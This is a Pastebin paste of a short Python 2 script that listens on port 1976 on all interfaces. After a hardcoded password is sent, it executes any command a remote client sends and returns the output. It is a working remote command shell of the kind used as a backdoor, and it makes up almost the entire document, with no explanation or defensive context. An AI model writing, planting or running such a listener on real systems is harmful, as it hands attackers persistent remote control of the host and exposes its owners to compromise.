Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- import subprocess
- import os
- import signal
- def ctrlc_handler(signum, frm):
- client.send("+ Remote shudtown detected.\n")
- # create socket to listen on
- tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- tcpSocket.bind(("0.0.0.0", 1976))
- tcpSocket.listen(1)
- while True:
- try:
- (client, (ip, port)) = tcpSocket.accept()
- 1
- signal.signal(signal.SIGINT, ctrlc_handler)
- client.send("+ Password: ")
- pwd = client.recv(2048)
- if pwd.strip() == "kuPzcbFgMPnD8KbeBpBySLs86GxR6yUc8ECAQTHygWBbc95KEFh2LTX3XwUuGzMQU9UFV7R5QQHMac7wDFM8TVUepCKE4j68GHy3QFhjcVqLEtzuJFm5RUw8":
- client.send("\n\n+++ Remote hands +++\n")
- client.send("connected: " + str(ip) + ":" + str(port) + "\n\n")
- data = "help"
- while data != "exit":
- try:
- client.send("# ")
- data = client.recv(2048)
- data = data.strip()
- if data == "exit":
- break
- if data == "killserver":
- client.send("+ Shutting down service.\n")
- os._exit(0)
- data_list = data.split(" ")
- out = subprocess.check_output(data_list)
- out_list = out.split("\n")
- for i in out_list:
- if i != "":
- client.send("-> " + i + "\n")
- except Exception as e:
- client.send(str(e) + "\n")
- else:
- client.send("- Invalid credentials.")
- client.close()
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment